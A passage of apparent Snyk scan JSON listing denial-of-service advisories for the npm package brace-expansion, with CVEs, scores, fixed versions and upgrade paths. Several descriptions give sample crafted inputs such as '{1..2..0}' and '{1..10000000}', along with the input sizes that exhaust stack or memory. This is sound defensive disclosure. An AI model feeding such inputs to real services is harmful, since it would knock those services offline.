Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", 